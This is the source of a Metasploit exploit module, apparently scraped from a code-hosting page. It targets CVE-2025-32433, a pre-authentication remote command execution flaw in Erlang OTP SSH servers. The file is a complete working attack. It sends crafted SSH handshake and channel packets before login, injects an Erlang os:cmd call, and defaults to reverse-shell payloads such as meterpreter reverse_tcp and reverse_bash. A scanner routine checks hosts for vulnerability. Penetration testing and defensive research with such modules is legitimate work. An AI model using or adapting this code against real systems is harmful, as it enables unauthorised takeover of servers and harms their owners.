Path: blob/master/modules/exploits/linux/ssh/ssh_erlangotp_rce.rb
19577 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'hrr_rb_ssh/message/090_ssh_msg_channel_open'5require 'hrr_rb_ssh/message/098_ssh_msg_channel_request'6require 'hrr_rb_ssh/message/020_ssh_msg_kexinit'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011prepend Msf::Exploit::Remote::AutoCheck12include Msf::Exploit::Remote::Tcp13include Msf::Auxiliary::Report1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Erlang OTP Pre-Auth RCE Scanner and Exploit',20'Description' => %q{21This module detect and exploits CVE-2025-32433, a pre-authentication vulnerability in Erlang-based SSH22servers that allows remote command execution. By sending crafted SSH packets, it executes a payload to23establish a reverse shell on the target system.2425The exploit leverages a flaw in the SSH protocol handling to execute commands via the Erlang `os:cmd`26function without requiring authentication.27},28'License' => MSF_LICENSE,29'Author' => [30'Horizon3 Attack Team',31'Matt Keeley', # PoC32'Martin Kristiansen', # PoC33'mekhalleh (RAMELLA Sebastien)' # module author powered by EXA Reunion (https://www.exa.re/)34],35'References' => [36['CVE', '2025-32433'],37['URL', 'https://x.com/Horizon3Attack/status/1912945580902334793'],38['URL', 'https://platformsecurity.com/blog/CVE-2025-32433-poc'],39['URL', 'https://github.com/ProDefense/CVE-2025-32433']40],41'Platform' => ['linux', 'unix'],42'Arch' => [ARCH_CMD],43'Targets' => [44[45'Linux Command', {46'Platform' => 'linux',47'Arch' => ARCH_CMD,48'Type' => :linux_cmd,49'DefaultOptions' => {50'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp'51# cmd/linux/http/aarch64/meterpreter/reverse_tcp has also been tested successfully with this module.52}53}54],55[56'Unix Command', {57'Platform' => 'unix',58'Arch' => ARCH_CMD,59'Type' => :unix_cmd,60'DefaultOptions' => {61'PAYLOAD' => 'cmd/unix/reverse_bash'62}63}64]65],66'Privileged' => true,67'DisclosureDate' => '2025-04-16',68'DefaultTarget' => 0,69'Notes' => {70'Stability' => [CRASH_SAFE],71'Reliability' => [REPEATABLE_SESSION],72'SideEffects' => [IOC_IN_LOGS]73}74)75)7677register_options([78Opt::RPORT(22),79OptString.new('SSH_IDENT', [true, 'SSH client identification string sent to the server', 'SSH-2.0-OpenSSH_8.9'])80])81end8283# builds SSH_MSG_CHANNEL_OPEN for session84def build_channel_open(channel_id)85msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN.new86payload = {87'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN::VALUE,88'channel type': 'session',89'sender channel': channel_id,90'initial window size': 0x68000,91'maximum packet size': 0x1000092}93msg.encode(payload)94end9596# builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload97def build_channel_request(channel_id, command)98msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST.new99payload = {100'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST::VALUE,101'recipient channel': channel_id,102'request type': 'exec',103'want reply': true,104command: "os:cmd(\"#{command}\")."105}106msg.encode(payload)107end108109# builds a minimal but valid SSH_MSG_KEXINIT packet110def build_kexinit111msg = HrrRbSsh::Message::SSH_MSG_KEXINIT.new112payload = {}113payload[:"message number"] = HrrRbSsh::Message::SSH_MSG_KEXINIT::VALUE114# The definition for SSH_MSG_KEXINIT in 020_ssh_msg_kexinit.rb expects each cookie byte to be its own field. The115# encode method expects a hash and so we need to duplicate the "cookie (random byte)" key in the hash 16 times.11616.times do117payload[:"cookie (random byte)".dup] = SecureRandom.random_bytes(1).unpack1('C')118end119payload[:kex_algorithms] = ['curve25519-sha256', 'ecdh-sha2-nistp256', 'diffie-hellman-group-exchange-sha256', 'diffie-hellman-group14-sha256']120payload[:server_host_key_algorithms] = ['rsa-sha2-256', 'rsa-sha2-512']121payload[:encryption_algorithms_client_to_server] = ['aes128-ctr']122payload[:encryption_algorithms_server_to_client] = ['aes128-ctr']123payload[:mac_algorithms_client_to_server] = ['hmac-sha1']124payload[:mac_algorithms_server_to_client] = ['hmac-sha1']125payload[:compression_algorithms_client_to_server] = ['none']126payload[:compression_algorithms_server_to_client] = ['none']127payload[:languages_client_to_server] = []128payload[:languages_server_to_client] = []129payload[:first_kex_packet_follows] = false130payload[:"0 (reserved for future extension)"] = 0131msg.encode(payload)132end133134# formats a list of names into an SSH-compatible string (comma-separated)135def name_list(names)136string_payload(names.join(','))137end138139# pads a packet to match SSH framing140def pad_packet(payload, block_size)141min_padding = 4142payload_length = payload.length143padding_len = block_size - ((payload_length + 5) % block_size)144padding_len += block_size if padding_len < min_padding145[(payload_length + 1 + padding_len)].pack('N') +146[padding_len].pack('C') +147payload +148"\x00" * padding_len149end150151# helper to format SSH string (4-byte length + bytes)152def string_payload(str)153s_bytes = str.encode('utf-8')154[s_bytes.length].pack('N') + s_bytes155end156157def check158print_status('Starting scanner for CVE-2025-32433')159160connect161sock.put("#{datastore['SSH_IDENT']}\r\n")162banner = sock.get_once(1024, 10)163unless banner164return Exploit::CheckCode::Unknown('No banner received')165end166167unless banner.to_s.downcase.include?('erlang')168return Exploit::CheckCode::Safe("Not an Erlang SSH service: #{banner.strip}")169end170171sleep(0.5)172173print_status('Sending SSH_MSG_KEXINIT...')174kex_packet = build_kexinit175sock.put(pad_packet(kex_packet, 8))176sleep(0.5)177178response = sock.get_once(1024, 5)179unless response180return Exploit::CheckCode::Detected("Detected Erlang SSH service: #{banner.strip}, but no response to KEXINIT")181end182183print_status('Sending SSH_MSG_CHANNEL_OPEN...')184chan_open = build_channel_open(0)185sock.put(pad_packet(chan_open, 8))186sleep(0.5)187188print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')189chan_req = build_channel_request(0, Rex::Text.rand_text_alpha(rand(4..8)).to_s)190sock.put(pad_packet(chan_req, 8))191sleep(0.5)192193begin194sock.get_once(1024, 5)195rescue EOFError, Errno::ECONNRESET196return Exploit::CheckCode::Safe('The target is not vulnerable to CVE-2025-32433.')197end198sock.close199200report_vuln(201host: datastore['RHOST'],202name: name,203refs: references,204info: 'The target is vulnerable to CVE-2025-32433.'205)206Exploit::CheckCode::Vulnerable207rescue Rex::ConnectionError208Exploit::CheckCode::Unknown('Failed to connect to the target')209rescue Rex::TimeoutError210Exploit::CheckCode::Unknown('Connection timed out')211ensure212disconnect unless sock.nil?213end214215def exploit216print_status('Starting exploit for CVE-2025-32433')217connect218sock.put("SSH-2.0-OpenSSH_8.9\r\n")219banner = sock.get_once(1024)220if banner221print_good("Received banner: #{banner.strip}")222else223fail_with(Failure::Unknown, 'No banner received')224end225sleep(0.5)226227print_status('Sending SSH_MSG_KEXINIT...')228kex_packet = build_kexinit229sock.put(pad_packet(kex_packet, 8))230sleep(0.5)231232print_status('Sending SSH_MSG_CHANNEL_OPEN...')233chan_open = build_channel_open(0)234sock.put(pad_packet(chan_open, 8))235sleep(0.5)236237print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')238chan_req = build_channel_request(0, payload.encoded)239sock.put(pad_packet(chan_req, 8))240241begin242response = sock.get_once(1024, 5)243if response244print_status('Packets sent successfully and receive response from the server')245246hex_response = response.unpack('H*').first247vprint_status("Received response: #{hex_response}")248249if hex_response.start_with?('000003')250print_good('Payload executed successfully')251else252print_error('Payload execution failed')253end254end255rescue EOFError, Errno::ECONNRESET256print_error('Payload execution failed')257rescue Rex::TimeoutError258print_error('Connection timed out')259end260261sock.close262rescue Rex::ConnectionError263fail_with(Failure::Unreachable, 'Failed to connect to the target')264rescue Rex::TimeoutError265fail_with(Failure::TimeoutExpired, 'Connection timed out')266rescue StandardError => e267fail_with(Failure::Unknown, "Error: #{e.message}")268end269270end271272273